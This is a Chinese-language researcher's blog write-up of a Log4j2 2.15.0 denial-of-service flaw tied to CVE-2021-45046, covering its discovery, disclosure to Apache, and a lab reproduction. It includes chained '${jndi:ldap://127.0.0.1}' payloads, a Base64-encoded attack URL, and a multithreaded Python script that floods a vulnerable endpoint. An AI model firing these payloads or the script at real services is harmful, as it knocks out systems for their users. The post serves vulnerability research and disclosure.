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介绍
在Log4j2爆出RCE漏洞后，官方给出了RC1和RC2的修复，在之前的文章中有详细分析
在RC2的修复之前，其实就存在DOS的可能，但我在RC2的修复后，发现仍然可以造成拒绝服务漏洞
于是在RC2修复补丁发布后几小时内向Apache Logging PMC报告了该问题
在这里插入图片描述
得到了官方的认可和致谢
在这里插入图片描述
其实当时没有想过申请CVE等步骤，但在今天早上看到了Log4j2发布了CVE-2021-45046漏洞报告，这个CVE正是拒绝服务相关，不过漏洞credit信息并不是我，而是国外某团队
在这里插入图片描述
具体链接参考：
https://logging.apache.org/log4j/2.x/security.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046
大致阅读CVE-2021-45046相关的信息后，发现和我提交的DOS漏洞略有不同，但核心部分是一致的
在2.15.0版本利用的前提：该漏洞必须在开启lookup功能的情况下触发
一种常见的开启姿势是在log4j2.xml中：
<appenders>
<console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
<PatternLayout pattern="%msg{lookups}%n"/>
</console>
</appenders>
这篇文章就从三个方面来谈一谈这个拒绝服务漏洞
- 我是如何发现这个拒绝服务漏洞的
- 这个CVE描述的漏洞与我发现的有什么相同和不同之处
- 这种拒绝服务漏洞的实际利用场景
挖掘过程
回顾RC1和RC2的修复：如果存在JndiLookup那么会判断其中的的host是否合法
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
而allowedHosts中一定包含有localhost和127.0.0.1
// 拿到本地IP
private static final List<String> permanentAllowedHosts = NetUtils.getLocalIps();
...
addAll(hosts, allowedHosts, permanentAllowedHosts, ALLOWED_HOSTS, data);
return new JndiManager(...,allowedHosts,...);
这说明如果LDAP服务端在127.0.0.1可以成功lookup
然而黑客不可能凭空在服务端本地开启一个恶意的LDAP Server
我想到lookup本质是网络相关的操作，会有阻塞的可能。可以构造出Payload使程序lookup本地，而本地不可能开LDAP Server，于是发生超时等待，也许会有拒绝服务漏洞的可能
于是修改了RC2的源码，加入了统计时间代码，分析lookup的超时情况
（下文分析为什么阻塞的方法不是looup而是context.getAttributes）
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
long startTime = System.currentTimeMillis();
Attributes attributes = null;
try {
// 阻塞方法
attributes = this.context.getAttributes(name);
}catch (Exception ignored){
}
long endTime = System.currentTimeMillis();
System.out.println(endTime-startTime);
测试以上打印时间的代码会发现总是打印2000左右，说明超时时间为2秒
深入getAttributes可以看到这样的方法
static ResolveResult getUsingURLIgnoreRootDN(String var0, Hashtable<?, ?> var1) throws NamingException {
LdapURL var2 = new LdapURL(var0);
// 跟入
LdapCtx var3 = new LdapCtx("", var2.getHost(), var2.getPort(), var1, var2.useSsl());
String var4 = var2.getDN() != null ? var2.getDN() : "";
CompositeName var5 = new CompositeName();
if (!"".equals(var4)) {
var5.add(var4);
}
return new ResolveResult(var3, var5);
}
在new LdapCtx方法中存在connect操作导致阻塞
（其实connect方法还有几步才会到达最底层的阻塞，不过没有必要继续分析了）
public LdapCtx(String var1, String var2, int var3, Hashtable<?, ?> var4, boolean var5) throws NamingException {
...
try {
this.connect(false);
}
...
}
回到之前的问题：为什么阻塞的不是lookup而是getAttributes方法
当前代码在连接超时后会抛出异常，走不到lookup方法
在这里插入图片描述
其实在lookup方法中应该也会造成阻塞，简单往里面跟一下会发现类似的代码
// 从Attributes里获取属性
// 那么应该调用了getAttributes之类的阻塞方法
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
var3 = Obj.decodeObject((Attributes)var4);
}
if (var3 == null) {
// 类似的代码
var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
}
现在发现了能让程序阻塞的办法，那么怎样构造Payload以达成更长时间的阻塞呢
Log4j2在处理{}并分别处理对应的值，每一次的处理都会造成2秒的等待，所以只需简单的拼接即可
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
List<String> priorVariables) {
...
substitute(event, bufName, 0, bufName.length());
...
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
...
int change = substitute(event, buf, startPos, varLen, priorVariables);
}
例如我拼接三个会阻塞更长的时间
（这里是针对本地80端口，实际上可以用大概率关闭的高位端口）
${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}
这时候会有师傅产生疑问：
在一个web请求中，这样的payload只能让我当前的请求阻塞住，如何实现真正的拒绝服务攻击，让目标网站无法正常处理别人的请求呢？我将在后文给大家展示
利用场景
造一个SpringBoot项目，在resources下添加配置文件开启lookup功能
<configuration status="OFF" monitorInterval="30">
<appenders>
<console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
<PatternLayout pattern="%msg{lookups}%n"/>
</console>
</appenders>
<loggers>
<root level="error">
<appender-ref ref="CONSOLE-APPENDER"/>
</root>
</loggers>
</configuration>
为了制造场景所以要移除了Spri
为了制造场景所以要移除了SpringBoot自带的日志依赖，而选用Log4j2
另外引入starter-web以编写Controller模拟真实的接口供测试
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
模拟一个接口：接受message参数并Base64解码后打印日志
@Controller
public class TestController {
private static final Logger logger = LogManager.getLogger(TestController.class);
@RequestMapping("/test")
@ResponseBody
public String test(String message) {
try {
// Base64解码
String data = new String(Base64.getDecoder().decode(message));
logger.error("message:" + data);
} catch (Exception e) {
return e.getMessage();
}
return "";
}
}
使用Python编写EXP打自己的靶机
import base64
import threading
import requests
# 每一个Payload将会导致阻塞20秒
payload = "${jndi:ldap://127.0.0.1}" * 10
payload = base64.b64encode(bytes(payload, encoding="utf-8"))
url = "http://127.0.0.1:8080/test?message=" + str(payload, encoding="utf-8")
def work():
requests.get(url)
if __name__ == '__main__':
threadList = []
# 多线程请求
for i in range(1000):
t = threading.Thread(target=work)
threadList.append(t)
t.start()
for thread in threadList:
thread.join()
启动SpringBoot项目后，可以用这个Python脚本成功造成拒绝服务漏洞
CVE分析
接下来分析这个CVE，其实我不确定对于这个CVE的解读是否正确
在Log4j2.xml中支持一种配置从上下文中取值：例如这个例子可以取到loginId值
<Appenders>
<Console name="STDOUT" target="SYSTEM_OUT">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>
</PatternLayout>
</Console>
</Appenders>
如果程序这样写
public static void main(String[] args) throws Exception{
ThreadContext.put("loginId","1}");
logger.error("xxx");
}
将会打印
2021-12-15 12:03:53,860 ERROR Main [main] 1 xxx
如果代码这样写将会导致类似的拒绝服务
ThreadContext.put("loginId","${jndi:ldap://127.0.0.1}");
logger.error("xxx");
在xml中有另一种效果相同的配置方式，但这种写法反而不会触发${}解析
<Appenders>
<Console name="STDOUT" target="SYSTEM_OUT">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] %X{loginId} %m%n</pattern>
</PatternLayout>
</Console>
</Appenders>
在issue中也有人证实了这一点
在这里插入图片描述
关于拒绝服务的分析上文已有，重点看一下ContextMapLookup
@Override
public String lookup(final String key) {
return currentContextData().getValue(key);
}
@Override
public String lookup(final LogEvent event, final String key) {
return event.getContextData().getValue(key);
}
这里的contextData正是一个简单的Map
在这里插入图片描述
在resolveVariable方法返回
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
// 取出了${jndi:ldap://127.0.0.1}
return resolver.lookup(event, variableName);
}
取出的payload在下一次的递归中成功被lookup
在这里插入图片描述
不难发现lookup时是从event中取Map那么该Map是如何保存到event中的呢
定位到创建LogEvent的方法ReusableLogEventFactory.createEvent
@Override
public LogEvent createEvent(final String loggerName, final Marker marker, final String fqcn,
final StackTraceElement location, final Level level, final Message message,
final List<Property> properties, final Throwable t) {
if (result == null || result.reserved) {
final boolean initThreadLocal = result == null;
// 这个类中包含了空的context
result = new MutableLogEvent();
...
}
...
// 真正设置context属性
result.setContextData(injector.injectContextData(properties, (StringMap) result.getContextData()));
result.setContextStack(ThreadContext.getDepth() == 0 ? ThreadContext.EMPTY_STACK : ThreadContext.cloneStack());
...
return result;
}
跟入ThreadContextDataInjector.injectContextData方法
@Override
public StringMap injectContextData(final List<Property> props, final StringMap ignore) {
if (providers.size() == 1 && (props == null || props.isEmpty())) {
// 跟入supplyStringMap
return providers.get(0).supplyStringMap();
}
...
}
进入ThreadContextDataProvider.supplyStringMap方法
@Override
public StringMap supplyStringMap() {
return ThreadContext.getThreadContextMap().getReadOnlyContextData();
}
在getReadOnlyContextData中获得这个Map
在这里插入图片描述
再没有必要做进一步的分析了，这个拒绝服务漏洞原理已经清晰了
CVE利用场景
CVE中提到的利用场景应该更为广泛
通常情况下，记录登录用户的身份等信息是常见的操作
如果程序员选择了Log4j2这种ctx记录的方式而不是手动拼接字符串，将会导致该漏洞
@RequestMapping("/test")
@ResponseBody
public String test(String userId) {
try {
String id = new String(Base64.getDecoder().decode(userId));
// 记录用户登录ID
ThreadContext.put("loginId", id);
// 记录该用户已登录
logger.info("user login");
// 其他业务逻辑
// ...
} catch (Exception e) {
return e.getMessage();
}
return "";
}
正常情况下：http://localhost:8080/test?userId=MQ==
将会记录
2021-12-15 12:51:27,845 [http-nio-8080-exec-1] 1 user login
如果打Payload则报错并成功阻塞
http://localhost:8080/test?userId=JHtqbmRpOmxkYXA6Ly8xMjcuMC4wLjF9
改写下Python脚本即可成功拒绝服务
url = "http://127.0.0.1:8080/test?userId=" + str(payload, encoding="utf-8")
代码
SpringBoot搭建的利用环境代码：https://github.com/EmYiQing/Log4j2DoS
更新
Apache已经将我的名字加入了CVE的credit中
在这里插入图片描述
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